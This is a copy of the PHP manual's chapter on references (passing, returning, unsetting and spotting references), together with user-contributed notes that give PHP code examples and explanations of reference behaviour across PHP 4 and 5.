No other expressions should be passed by reference, as the result is undefined. For example, the following examples of passing by reference are invalid:

<?php
function foo(&$var)
{
    $var++;
}
function bar() // Note the missing &
{
    $a = 5;
    return $a;
}
foo(bar()); // Produces fatal error since PHP 5.0.5

foo($a = 5); // Expression, not variable
foo(5); // Produces fatal error
?>
These requirements are for PHP 4.0.4 and later.

User Contributed Notes

tnestved at yahoo dot com 14-Oct-2014 10:54
By removing the ability to include the reference sign on function calls where pass-by-reference is incurred (I.e., function definition uses &), the readability of the code suffers, as one has to look at the function definition to know if the variable being passed is by-ref or not (I.e., potential to be modified).  If both function calls and function definitions require the reference sign (I.e., &), readability is improved, and it also lessens the potential of an inadvertent error in the code itself.  Going full on fatal error in 5.4.0 now forces everyone to have less readable code.  That is, does a function merely use the variable, or potentially modify it...now we have to find the function definition and physically look at it to know, whereas before we would know the intent immediately.
phpnet at holodyn dot com 27-Mar-2014 03:38
The notes indicate that a function variable reference will receive a deprecated warning in the 5.3 series, however when calling the function via call_user_func the operation aborts without fatal error.

This is not a "bug" since it is not likely worth resolving, however should be noted in this documentation.
diabolos @t gmail dot com 27-Jul-2012 11:46
<?php

/*

  This function internally swaps the contents between
  two simple variables using 'passing by reference'.

  Some programming languages have such a swap function
  built in, but PHP seems to lack such a function.  So,
  one was created to fill the need.  It only handles
  simple, single variables, not arrays, but it is
  still a very handy tool to have.

  No value is actually returned by this function, but
  the contents of the indicated variables will be
  exchanged (swapped) after the call.
*/

// ------------------------------------------
// Demo call of the swap(...) function below.

 $a = 123.456;
 $b = 'abcDEF';

 print "<pre>Define:\na = $a\nb = '$b'</pre>";
 swap($a,$b);
 print "<pre>After swap(a,b):\na = '$a'\nb = $b</pre>";

// -------------------------------

   function swap (&$arg1, &$arg2)
{

// Swap contents of indicated variables.
   $w=$arg1;   $arg1=$arg2;   $arg2=$w;
}

?>
fdelizy at unfreeze dot net 12-Aug-2006 06:32
Some have noticed that reference parameters can not be assigned a default value. It's actually wrong, they can be assigned a value as the other variables, but can't have a "default reference value", for instance this code won't compile :

<?php
function use_reference( $someParam, &$param =& $POST )
{
 ...
}
?>

But this one will work :

<?php
function use_reference( $someParam, &$param = null )
?>

So here is a workaround to have a default value for reference parameters :

<?php
$array1 = array ( 'test', 'test2' );

function AddTo( $key, $val, &$array = null)
{
    if ( $array == null )
    {
      $array =& $_POST;
    }

    $array[ $key ] = $val ;
}

AddTo( "indirect test", "test", $array1 );
AddTo( "indirect POST test", "test" );

echo "Array 1 " ;
print_r ( $array1);

echo "_POST ";
print_r( $_POST );

?>

And this scripts output is :

Array 1 Array
(
    [0] => test
    [1] => test2
    [indirect test] => test
)
_POST Array
(
    [indirect POST test] => test
)

Of course that means you can only assign default reference to globals or super globals variables.

Have fun
pillepop2003 at yahoo dot de 13-Feb-2005 05:08
PHP has a strange behavior when passing a part of an array by reference, that does not yet exist.

<?php
    function func(&$a)
    {
        // void();
    }

    $a['one'] =1;
    func($a['two']);
?>

var_dump($a) returns

    array(2) {
        ["one"]=>
        int(1)
        ["two"]=>
        NULL
    }

...which seems to be not intentional!
obscvresovl at NOSPAM dot hotmail dot com 26-Dec-2004 07:51
Just a simple note...

<?php

$num = 1;

function blah(&$var)
{
    $var++;
}

blah($num);

echo $num; #2

?>

<?php

$num = 1;

function blah()
{
    $var =& $GLOBALS["num"];
    $var++;
}

blah();

echo $num; #2

?>

Both codes do the same thing! The second code "explains" how passage of parameters by reference works.
Sergio Santana: ssantana at tlaloc dot imta dot mx 10-Sep-2004 05:25
Sometimes we need functions for building or modifying arrays whose elements are to be references to other variables (arrays or objects for instance). In this example, I wrote two functions 'tst' and 'tst1' that perform this task. Note how the functions are written, and how they are used.

<?php
function tst(&$arr, $r) {
  // The argument '$arr' is declared to be passed by reference,
  // but '$r' is not;
  // however, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);   // the array to be referenced in $arr0

// Note how we call the function:
tst($arr0, &$arr1); // We are passing a reference to '$arr1' in the call !

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18); // we add another element to $arr1 as well

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

// -----------------------------------------
// A simpler way to do this:

function tst1(&$arr, &$r) {
  // Both arguments '$arr' and '$r" are declared to be passed by
  // reference,
  // again, in the function's body, we use a reference to
  // the '$r' argument

  array_push($arr, &$r);
  // Alternatively, this also could be $arr[] = &$r (in this case)
}

$arr0 = array();          // an empty array
$arr1 = array(1,2,3);   // the array to be referenced in $arr0

// Note how we call the function:
tst1($arr0, $arr1); // 'tst1' understands '$r' is a reference to '$arr1'

echo "-------- 2nd. alternative ------------ <br>\n";

print_r($arr0); // Contains just the reference to $arr1

array_push($arr0, 5); // we add another element to $arr0
array_push($arr1, 18);

print_r($arr1);
print_r($arr0); // Changes in $arr1 are reflected in $arr0

// This outputs:
// X-Powered-By: PHP/4.1.2
// Content-type: text/html
//
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//         )
//
// )
// Array
// (
//     [0] => 1
//     [1] => 2
//     [2] => 3
//     [3] => 18
// )
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//             [3] => 18
//         )
//
//     [1] => 5
// )
// -------- 2nd. alternative ------------
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//         )
//
// )
// Array
// (
//     [0] => 1
//     [1] => 2
//     [2] => 3
//     [3] => 18
// )
// Array
// (
//     [0] => Array
//         (
//             [0] => 1
//             [1] => 2
//             [2] => 3
//             [3] => 18
//         )
//
//     [1] => 5
// )
?>

In both cases we get the same result.

I hope this is somehow useful

Sergio.


Returning References

Returning by reference is useful when you want to use a function to find to which variable a reference should be bound. Do not use return-by-reference to increase performance. The engine will automatically optimize this on its own. Only return references when you have a valid technical reason to do so. To return references, use this syntax:

<?php
class foo {
    public $value = 42;

    public function &getValue() {
        return $this->value;
    }
}

$obj = new foo;
$myValue = &$obj->getValue(); // $myValue is a reference to $obj->value, which is 42.
$obj->value = 2;
echo $myValue;                // prints the new value of $obj->value, i.e. 2.
?>
In this example, the property of the object returned by the getValue function would be set, not the copy, as it would be without using reference syntax.

Note: Unlike parameter passing, here you have to use & in both places - to indicate that you want to return by reference, not a copy, and to indicate that reference binding, rather than usual assignment, should be done for $myValue.

Note: If you try to return a reference from a function with the syntax: return ($this->value); this will not work as you are attempting to return the result of an expression, and not a variable, by reference. You can only return variables by reference from a function - nothing else. Since PHP 4.4.0 in the PHP 4 branch, and PHP 5.1.0 in the PHP 5 branch, an E_NOTICE error is issued if the code tries to return a dynamic expression or a result of the new operator.

To use the returned reference, you must use reference assigment:

<?php
function &collector() {
  static $collection = array();
  return $collection;
}
$collection = &collector();
$collection[] = 'foo';
?>
To pass the returned reference to another function expecting a reference you can use this syntax:
<?php
function &collector() {
  static $collection = array();
  return $collection;
}
array_push(collector(), 'foo');
?>

Note: Note that array_push(&collector(), 'foo'); will not work, it results in a fatal error.

User Contributed Notes

civilization28 at gmail dot com 17-Sep-2014 10:49
Zayfod's example above is useful, but I feel that it needs more explanation. The point that should be made is that a parameter passed in by reference can be changed to reference something else, resulting in later changes to the local variable not affecting the passed in variable:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = & func_b();    # Here the reference is changed and
                                           # the "&" in "func_a (& $param)"
                                           # is no longer in effect at all.
    # $param is 2 here
    $param++;    # Has no effect on $var.
}

$var = 1;
func_a($var);
# $var is still 1 here!!!    Because the reference was changed.

?>
Anonymous 05-Mar-2014 01:18
I learned a painful lesson working with a class method that would pass by reference.

In short, if you have a method in a class that is initialed with ampersand during declaration, do not use another ampersand when using the method as in &$this->method();

For example
<?php
class A {
    public function &hello(){
        static $a='';
        return $a;
    }
    public function bello(){
        $b=&$this->hello();  // incorrect. Do not use ampersand.
        $b=$this->hello();  // $b is a reference  to the static variable.
}
?>
benjamin dot delespierre at gmail dot com 23-Feb-2011 02:36
Keep in mind that returning by reference doesn't work with __callStatic:

<?php
class Test {
  private static $_inst;
  public static function & __callStatic ($name, $args) {
    if (!isset(static::$_inst)){
      echo "create";
      static::$_inst = (object)"test";
   }
   return static::$_inst;
}

var_dump($a = &Test::abc()); // prints 'create'
$a = null;
var_dump(Test::abc()); // doesn't prints and the instance still exists in Test::$_inst
?>
szymoncofalik at gmail dot com 28-Jan-2011 09:41
Sometimes, you would like to return NULL with a function returning reference, to indicate the end of chain of elements. However this generates E_NOTICE. Here is little tip, how to prevent that:

<?php
class Foo {
   const $nullGuard = NULL;
   // ... some declarations and definitions
   public function &next() {
      // ...
      if (!$end) return $bar;
      else return $this->nullGuard;
   }
}
?>

by doing this you can do smth like this without notices:

<?php
$f = new Foo();
// ...
while (($item = $f->next()) != NULL) {
// ...
}
?>

you may also use global variable:
global $nullGuard;
return $nullGuard;
spidgorny at gmail dot com 19-Mar-2010 03:18
When returning reference to the object member which is instantiated inside the function, the object is destructed upon returning (which is a problem). It's easier to see the code:

<?php

class MemcacheArray {
    public $data;

    ...

    /**
     * Super-clever one line cache reading AND WRITING!
     * Usage $data = &MemcacheArray::getData(__METHOD__);
     * Hopefully PHP will know that $this->data is still used
     * and will call destructor after data changes.
     * Ooops, it's not the case.
     *
     * @return unknown
     */
    function &getData($file, $expire = 3600) {
        $o = new MemcacheArray($file, $expire);
        return $o->data;
    }
?>

Here, destructor is called upon return() and the reference becomes a normal variable.

My solution is to store objects in a pool until the final exit(), but I don't like it. Any other ideas?

<?php
    protected static $instances = array();

    function &getData($file, $expire = 3600) {
        $o = new MemcacheArray($file, $expire);
        self::$instances[$file] = $o; // keep object from destructing too early
        return $o->data;
    }
?>
sandaimespaceman at gmail dot com 02-Nov-2008 05:52
The &b() function returns a reference of $a in the global scope.

<?php
$a = 0;
function &b()
{
    global $a;
    return $a;
}
$c = &b();
$c++;
echo
"
\$a: $a
\$b: $c
"
?>

It outputs:

$a: 1 $b: 1
Spad-XIII 31-Jan-2008 02:01
a little addition to the example of pixel at minikomp dot com here below
<?php

    function &func(){
        static $static = 0;
        $static++;
        return $static;
    }

    $var1 =& func();
    echo "var1:", $var1; // 1
    func();
    func();
    echo "var1:", $var1; // 3
    $var2 = func(); // assignment without the &
    echo "var2:", $var2; // 4
    func();
    func();
    echo "var1:", $var1; // 6
    echo "var2:", $var2; // still 4

?>
pixel at minikomp dot com 31-Dec-2007 01:21
<?php

    function &func(){
        static $static = 0;
        $static++;
        return $static;
    }

    $var =& func();
    echo $var; // 1
    func();
    func();
    func();
    func();
    echo $var; // 5

?>
stanlemon at mac dot com 28-Sep-2007 07:51
I haven't seen anyone note method chaining in PHP5.  When an object is returned by a method in PHP5 it is returned by default as a reference, and the new Zend Engine 2 allows you to chain method calls from those returned objects.  For example consider this code:

<?php

class Foo {

    protected $bar;

    public function __construct() {
        $this->bar = new Bar();

        print "Foo\n";
    }

    public function getBar() {
        return $this->bar;
    }
}

class Bar {

    public function __construct() {
        print "Bar\n";
    }

    public function helloWorld() {
        print "Hello World\n";
    }
}

function test() {
    return new Foo();
}

test()->getBar()->helloWorld();

?>

Notice how we called test() which was not on an object, but returned an instance of Foo, followed by a method on Foo, getBar() which returned an instance of Bar and finally called one of its methods helloWorld().  Those familiar with other interpretive languages (Java to name one) will recognize this functionality.  For whatever reason this change doesn't seem to be documented very well, so hopefully someone will find this helpful.
php at thunder-2000 dot com 02-Feb-2007 11:31
If you want to get a part of an array to manipulate, you can use this function

function &getArrayField(&$array,$path) {
  if (!empty($path)) {
    if (empty($array[$path[0]])) return NULL;
    else return getArrayField($array[$path[0]], array_slice($path, 1));
  } else {
    return $array;
  }
}

Use it like this:

$partArray =& getArrayField($GLOBALS,array("config","modul1"));

You can manipulate $partArray and the changes are also made with $GLOBALS.
rwruck 27-Feb-2006 06:22
The note about using parentheses when returning references is only true if the variable you try to return does not already contain a reference.

<?php
// Will return a reference
function& getref1()
  {
  $ref =& $GLOBALS['somevar'];
  return ($ref);
  }

// Will return a value (and emit a notice)
function& getref2()
  {
  $ref = 42;
  return ($ref);
  }

// Will return a reference
function& getref3()
  {
  static $ref = 42;
  return ($ref);
  }
?>
willem at designhulp dot nl 09-Oct-2005 01:54
There is an important difference between php5 and php4 with references.

Lets say you have a class with a method called 'get_instance' to get a reference to an exsisting class and it's properties.

<?php
class mysql {
    function get_instance(){
        // check if object exsists
        if(empty($_ENV['instances']['mysql'])){
            // no object yet, create an object
            $_ENV['instances']['mysql'] = new mysql;
        }
        // return reference to object
        $ref = &$_ENV['instances']['mysql'];
        return $ref;
    }
}
?>

Now to get the exsisting object you can use
mysql::get_instance();

Though this works in php4 and in php5, but in php4 all data will be lost as if it is a new object while in php5 all properties in the object remain.
obscvresovl at NOSPAM dot hotmail dot com 24-Dec-2004 10:09
An example of returning references:

<?

$var = 1;
$num = NULL;

function &blah()
{
    $var =& $GLOBALS["var"]; # the same as global $var;
    $var++;
    return $var;
}

$num = &blah();

echo $num; # 2

blah();

echo $num; # 3

?>

Note: if you take the & off from the function, the second echo will be 2, because without & the var $num contains its returning value and not its returning reference.
hawcue at yahoo dot com 17-Mar-2004 04:58
Be careful when using tinary operation condition?value1:value2

See the following code:

$a=1;
function &foo()
{
  global $a;
  return isset($a)?$a:null;
}
$b=&foo();
echo $b;   // shows 1
$b=2;
echo $a;   // shows 1 (not 2! because $b got a copy of $a)

To let $b be a reference to $a, use "if..then.." in the function.
contact at infopol dot fr 12-Feb-2004 06:36
A note about returning references embedded in non-reference arrays :

<?
$foo;

function bar () {
    global $foo;
    $return = array();
    $return[] =& $foo;
    return $return;
}

$foo = 1;
$foobar = bar();
$foobar[0] = 2;
echo $foo;
?>

results in "2" because the reference is copied (pretty neat).
zayfod at yahoo dot com 03-Dec-2003 06:23
There is a small exception to the note on this page of the documentation. You do not have to use & to indicate that reference binding should be done when you assign to a value passed by reference the result of a function which returns by reference.

Consider the following two exaples:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = & func_b();
    # $param is 2 here
}

$var = 1;
func_a($var);
# $var is still 1 here!!!

?>

The second example works as intended:

<?php

function    & func_b ()
{
    $some_var = 2;
    return $some_var;
}

function    func_a (& $param)
{
    # $param is 1 here
    $param = func_b();
    # $param is 2 here
}

$var = 1;
func_a($var);
# $var is 2 here as intended

?>

(Experienced with PHP 4.3.0)


Unsetting References

When you unset the reference, you just break the binding between variable name and variable content. This does not mean that variable content will be destroyed. For example:

<?php
$a = 1;
$b =& $a;
unset($a);
?>
won't unset $b, just $a.

Again, it might be useful to think about this as analogous to the Unix unlink call.

User Contributed Notes

ojars26 at NOSPAM dot inbox dot lv 03-May-2008 04:41
Simple look how PHP Reference works
<?php
/* Imagine this is memory map
 ______________________________
|pointer | value | variable              |
 -----------------------------------
|   1     |  NULL  |         ---           |
|   2     |  NULL  |         ---           |
|   3     |  NULL  |         ---           |
|   4     |  NULL  |         ---           |
|   5     |  NULL  |         ---           |
------------------------------------
Create some variables   */
$a=10;
$b=20;
$c=array ('one'=>array (1, 2, 3));
/* Look at memory
 _______________________________
|pointer | value |       variable's       |
 -----------------------------------
|   1     |  10     |       $a               |
|   2     |  20     |       $b               |
|   3     |  1       |      $c['one'][0]   |
|   4     |  2       |      $c['one'][1]   |
|   5     |  3       |      $c['one'][2]   |
------------------------------------
do  */
$a=&$c['one'][2];
/* Look at memory
 _______________________________
|pointer | value |       variable's       |
 -----------------------------------
|   1     |  NULL  |       ---              |  //value of  $a is destroyed and pointer is free
|   2     |  20     |       $b               |
|   3     |  1       |      $c['one'][0]   |
|   4     |  2       |      $c['one'][1]   |
|   5     |  3       |  $c['one'][2]  ,$a | // $a is now here
------------------------------------
do  */
$b=&$a;  // or  $b=&$c['one'][2]; result is same as both "$c['one'][2]" and "$a" is at same pointer.
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |  //value of  $b is destroyed and pointer is free
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |$c['one'][2]  ,$a , $b |  // $b is now here
---------------------------------------
next do */
unset($c['one'][2]);
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $a , $b              | // $c['one'][2]  is  destroyed not in memory, not in array
---------------------------------------
next do   */
$c['one'][2]=500;    //now it is in array
/* Look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  500    |      $c['one'][2]       |  //created it lands on any(next) free pointer in memory
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $a , $b              | //this pointer is in use
---------------------------------------
lets tray to return $c['one'][2] at old pointer an remove reference $a,$b.  */
$c['one'][2]=&$a;
unset($a);
unset($b);
/* look at memory
 _________________________________
|pointer | value |       variable's           |
 --------------------------------------
|   1     |  NULL  |       ---                  |
|   2     |  NULL  |       ---                  |
|   3     |  1       |      $c['one'][0]       |
|   4     |  2       |      $c['one'][1]       |
|   5     |  3       |      $c['one'][2]       | //$c['one'][2] is returned, $a,$b is destroyed
--------------------------------------- ?>
I hope this helps.
sony-santos at bol dot com dot br 05-Feb-2007 12:56
<?php
//if you do:

$a = "hihaha";
$b = &$a;
$c = "eita";
$b = $c;
echo $a; // shows "eita"

$a = "hihaha";
$b = &$a;
$c = "eita";
$b = &$c;
echo $a; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$b = null;
echo $a; // shows nothing (both are set to null)

$a = "hihaha";
$b = &$a;
unset($b);
echo $a; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$c = "eita";
$a = $c;
echo $b; // shows "eita"

$a = "hihaha";
$b = &$a;
$c = "eita";
$a = &$c;
echo $b; // shows "hihaha"

$a = "hihaha";
$b = &$a;
$a = null;
echo $b; // shows nothing (both are set to null)

$a = "hihaha";
$b = &$a;
unset($a);
echo $b; // shows "hihaha"
?>

I tested each case individually on PHP 4.3.10.
lazer_erazer 06-Sep-2006 01:02
Your idea about unsetting all referenced variables at once is right,
just a tiny note that you changed NULL with unset()...
again, unset affects only one name and NULL affects the data,
which is kept by all the three names...

<?php
$a = 1;
$b =& $a;
$b = NULL;
?>

This does also work!

<?php
$a = 1;
$b =& $a;
$c =& $b;
$b = NULL;
?>
donny at semeleer dot nl 13-Jul-2006 04:10
Here's an example of unsetting a reference without losing an ealier set reference

<?php
$foo = 'Bob';              // Assign the value 'Bob' to $foo
$bar = &$foo;              // Reference $foo via $bar.
$bar = "My name is $bar";  // Alter $bar...
echo $bar;
echo $foo;                 // $foo is altered too.
$foo = "I am Frank";       // Alter $foo and $bar because of the reference
echo $bar;                 // output: I am Frank
echo $foo;                 // output: I am Frank

$foobar = &$bar;           // create a new reference between $foobar and $bar
$foobar = "hello $foobar"; // alter $foobar and with that $bar and $foo
echo $foobar;              //output : hello I am Frank
unset($bar);               // unset $bar and destroy the reference
$bar = "dude!";            // assign $bar
/* even though the reference between $bar and $foo is destroyed, and also the
reference between $bar and $foobar is destroyed, there is still a reference
between $foo and $foobar. */
echo $foo;                 // output : hello I am Frank
echo $bar;                 // output : due!
?>
libi 24-Jan-2006 09:20
clerca at inp-net dot eu dot org
"
If you have a lot of references linked to the same contents, maybe it could be useful to do this :
<?php
$a = 1;
$b = & $a;
$c = & $b; // $a, $b, $c reference the same content '1'

$b = NULL; // All variables $a, $b or $c are unset
?>

"

------------------------

NULL will not result in unseting the variables.
Its only change the value to "null" for all the variables.
becouse they all points to the same "part" in the memory.


Spotting References

Many syntax constructs in PHP are implemented via referencing mechanisms, so everything mentioned herein about reference binding also applies to these constructs. Some constructs, like passing and returning by reference, are mentioned above. Other constructs that use references are:

global References

When you declare a variable as global $var you are in fact creating reference to a global variable. That means, this is the same as:

<?php
$var =& $GLOBALS["var"];
?>

This also means that unsetting $var won't unset the global variable.

$this

In an object method, $this is always a reference to the caller object.

User Contributed Notes

lutondatta at gmail dot com 07-Jan-2014 12:12
This is very useful in passing large arrays. If you do not pass the array by reference, you are creating another copy of the array in memory.
<?php
//Part 1
        $x = 40;
        $y = $x;
        $z =& $x;
        echo '$x is ' . $x . '<br />'; //Show 40
        echo '$y is ' . $y . '<br />'; //Show 40
        echo '$z is ' . $z . '<br />'; //Show 40
//Part 2
        $x = 50;
        echo '$x is ' . $x . '<br />'; //Show 50
        echo '$y is ' . $y . '<br />'; //Show 40
        echo '$z is ' . $z . '<br />'; //Show 50
?>
In part 2 value of $z will changes according to $x.
CodeWorX.ch 02-Aug-2011 10:38
here is an unconventional (and not very fast) way of detecting references within arrays:

<?php

    function is_array_reference ($arr, $key) {
        $isRef = false;
        ob_start();
        var_dump($arr);
        if (strpos(preg_replace("/[ \n\r]*/i", "", preg_replace("/( ){4,}.*(\n\r)*/i", "", ob_get_contents())), "[" . $key . "]=>&") !== false)
            $isRef = true;
        ob_end_clean();
        return $isRef;
    }

?>
Abimael Rodrguez Coln 26-Apr-2011 08:55
This is one way to check if is a reference
<?php
$a = 1;
$b =& $a;
$c = 2;
$d = 3;
$e = array($a);
function is_reference($var){
    $val = $GLOBALS[$var];
    $tmpArray = array();
    /**
     * Add keys/values without reference
     */
    foreach($GLOBALS as $k => $v){
        if(!is_array($v)){
            $tmpArray[$k] = $v;
        }
    }

    /**
     * Change value of rest variables
     */
    foreach($GLOBALS as $k => $v){
        if($k != 'GLOBALS'
            && $k != '_POST'
            && $k != '_GET'
            && $k != '_COOKIE'
            && $k != '_FILES'
            && $k != $var
            && !is_array($v)
        ){
            usleep(1);
            $GLOBALS[$k] = md5(microtime());
        }
    }

    $bool = $val != $GLOBALS[$var];

    /**
     * Restore defaults values
     */
    foreach($tmpArray as $k => $v){
        $GLOBALS[$k] = $v;
    }

    return $bool;
}
var_dump(is_reference('a'));
var_dump(is_reference('b'));
var_dump(is_reference('c'));
var_dump(is_reference('d'));
?>

This won't check if reference is inside a array.
BenBE at omorphia dot de 07-Jan-2007 08:37
Hi,

If you want to check if two variables are referencing each other (i.e. point to the same memory) you can use a function like this:

<?php

function same_type(&$var1, &$var2){
    return gettype($var1) === gettype($var2);
}

function is_ref(&$var1, &$var2) {
    //If a reference exists, the type IS the same
    if(!same_type($var1, $var2)) {
        return false;
    }

    $same = false;

    //We now only need to ask for var1 to be an array ;-)
    if(is_array($var1)) {
        //Look for an unused index in $var1
        do {
            $key = uniqid("is_ref_", true);
        } while(array_key_exists($key, $var1));

        //The two variables differ in content ... They can't be the same
        if(array_key_exists($key, $var2)) {
            return false;
        }

        //The arrays point to the same data if changes are reflected in $var2
        $data = uniqid("is_ref_data_", true);
        $var1[$key] =& $data;
        //There seems to be a modification ...
        if(array_key_exists($key, $var2)) {
            if($var2[$key] === $data) {
                $same = true;
            }
        }

        //Undo our changes ...
        unset($var1[$key]);
    } elseif(is_object($var1)) {
        //The same objects are required to have equal class names ;-)
        if(get_class($var1) !== get_class($var2)) {
            return false;
        }

        $obj1 = array_keys(get_object_vars($var1));
        $obj2 = array_keys(get_object_vars($var2));

        //Look for an unused index in $var1
        do {
            $key = uniqid("is_ref_", true);
        } while(in_array($key, $obj1));

        //The two variables differ in content ... They can't be the same
        if(in_array($key, $obj2)) {
            return false;
        }

        //The arrays point to the same data if changes are reflected in $var2
        $data = uniqid("is_ref_data_", true);
        $var1->$key =& $data;
        //There seems to be a modification ...
        if(isset($var2->$key)) {
            if($var2[$key] === $data) {
                $same = true;
            }
        }

        //Undo our changes ...
        unset($var1->$key);
    } elseif (is_resource($var1)) {
        if(get_resource_type($var1) !== get_resource_type($var2)) {
            return false;
        }

        return ((string) $var1) === ((string) $var2);
    } else {
        //Simple variables ...
        if($var1!==$var2) {
            //Data mismatch ... They can't be the same ...
            return false;
        }

        //To check for a reference of a variable with simple type
        //simply store its old value and check against modifications of the second variable ;-)

        do {
            $key = uniqid("is_ref_", true);
        } while($key === $var1);

        $tmp = $var1; //WE NEED A COPY HERE!!!
        $var1 = $key; //Set var1 to the value of $key (copy)
        $same = $var1 === $var2; //Check if $var2 was modified too ...
        $var1 = $tmp; //Undo our changes ...
    }

    return $same;
}

?>

Although this implementation is quite complete, it can't handle function references and some other minor stuff ATM.
This function is especially useful if you want to serialize a recursive array by hand.

The usage is something like:
<?php
$a = 5;
$b = 5;
var_dump(is_ref($a, $b)); //false

$a = 5;
$b = $a;
var_dump(is_ref($a, $b)); //false

$a = 5;
$b =& $a;
var_dump(is_ref($a, $b)); //true
echo "---\n";

$a = array();
var_dump(is_ref($a, $a)); //true

$a[] =& $a;
var_dump(is_ref($a, $a[0])); // true
echo "---\n";

$b = array(array());
var_dump(is_ref($b, $b)); //true
var_dump(is_ref($b, $b[0])); //false
echo "---\n";

$b = array();
$b[] = $b;
var_dump(is_ref($b, $b)); //true
var_dump(is_ref($b, $b[0])); //false
var_dump(is_ref($b[0], $b[0][0])); //true*
echo "---\n";

var_dump($a);
var_dump($b);

?>

* Please note the internal behaviour of PHP that seems to do the reference assignment BEFORE actually copying the variable!!! Thus you get an array containing a (different) recursive array for the last testcase, instead of an array containing an empty array as you could expect.

BenBE.
ludvig dot ericson at gmail dot com 28-Feb-2006 12:36
For the sake of clarity:

$this is a PSEUDO VARIABLE - thus not a real variable. ZE treats is in other ways then normal variables, and that means that some advanced variable-things won't work on it (for obvious reasons):

<?php
class Test {
    var $monkeys = 0;

    function doFoobar() {
        $var = "this";
        $$var->monkeys++; // Will fail on this line.
    }
}

$obj = new Test;
$obj->doFoobar(); // Will fail in this call.
var_dump($obj->monkeys); // Will return int(0) if it even reaches here.
?>
ksamvel at gmail dot com 10-Feb-2006 06:02
One may check reference to any object by simple operator==( object). Example:

<?php
  class A {}

  $oA1 = new A();

  $roA = & $oA1;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";

  $oA2 = new A();
  $roA = & $roA2;

  echo "roA and oA1 are " . ( $roA == $oA1 ? "same" : "not same") . "<br>";
?>

Output:

roA and oA1 are same
roA and oA1 are not same

Current technique might be useful for caching in objects when inheritance is used and only base part of extended class should be copied (analog of C++: oB = oA):

<?php
class A {
  /* Any function changing state of A should set $bChanged to true */
  public function isChanged() { return $this->bChanged; }
  private $bChanged;
  //...
}

class B extends A {
// ...
  public function set( &$roObj) {
    if( $roObj instanceof A) {
      if( $this->roAObj == $roObj &&
          $roObj->isChanged()) {
        /* Object was not changed do not need to copy A part of B */
      } else {
        /* Copy A part of B */
        $this->roAObj = &$roObj;
      }
    }
  }

  private $roAObj;
}
?>
Sergio Santana: ssantana at tlaloc dot imta dot mx 16-Dec-2005 05:41
*** WARNING about OBJECTS TRICKY REFERENCES ***
-----------------------------------------------
The use of references in the context of classes
and objects, though well defined in the documentation,
is somehow tricky, so one must be very careful when
using objects. Let's examine the following two
examples:

<?php
  class y {
    public $d;
  }

  $A = new y;
  $A->d = 18;
  echo "Object \$A before operation:\n";
  var_dump($A);

  $B = $A; // This is not an explicit (=&) reference assignment,
           // however, $A and $B refer to the same instance
           // though they are not equivalent names
  $C =& $A; // Explicit reference assignment, $A and $C refer to
            // the same instance and they have become equivalent
            // names of the same instance

  $B->d = 1234;

  echo "\nObject \$B after operation:\n";
  var_dump($B);
  echo "\nObject \$A implicitly modified after operation:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after operation:\n";
  var_dump($C);

  // Let's make $A refer to another instance
  $A = new y;
  $A->d = 25200;
  echo "\nObject \$B after \$A modification:\n";
  var_dump($B); // $B doesn't change
  echo "\nObject \$A after \$A modification:\n";
  var_dump($A);
  echo "\nObject \$C implicitly modified after \$A modification:\n";
  var_dump($C); // $C changes as $A changes
?>

Thus, note the difference between assignments $X = $Y and $X =& $Y.
When $Y is anything but an object instance, the first assignment means
that $X will hold an independent copy of $Y, and the second, means that
$X and $Y will refer to the same thing, so they are tight together until
either $X or $Y is forced to refer to another thing. However, when $Y
happens to be an object instance, the semantic of $X = $Y changes and
becomes only slightly different to that of $X =& $Y, since in both
cases $X and $Y become references to the same object. See what this
example outputs:

Object $A before operation:
object(y)#1 (1) {
  ["d"]=>
  int(18)
}

Object $B after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $C implicitly modified after operation:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $B after $A modification:
object(y)#1 (1) {
  ["d"]=>
  int(1234)
}

Object $A after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Object $C implicitly modified after $A modification:
object(y)#2 (1) {
  ["d"]=>
  int(25200)
}

Let's review a SECOND EXAMPLE:
<?php
  class yy {
    public $d;
    function yy($x) {
      $this->d = $x;
    }
  }

  function modify($v)
  {
     $v->d = 1225;
  }

  $A = new yy(3);
  var_dump($A);
  modify($A);
  var_dump($A);
?>

Although, in general, a formal argument declared
as $v in the function 'modify' shown above, implies
that the actual argument $A, passed when calling
the function, is not modified, this is not the
case when $A is an object instance. See what the
example code outputs when executed:

object(yy)#3 (1) {
  ["d"]=>
  int(3)
}
object(yy)#3 (1) {
  ["d"]=>
  int(1225)
}
Sergio Santana: ssantana at tlaloc dot imta dot mx 10-Aug-2005 06:30
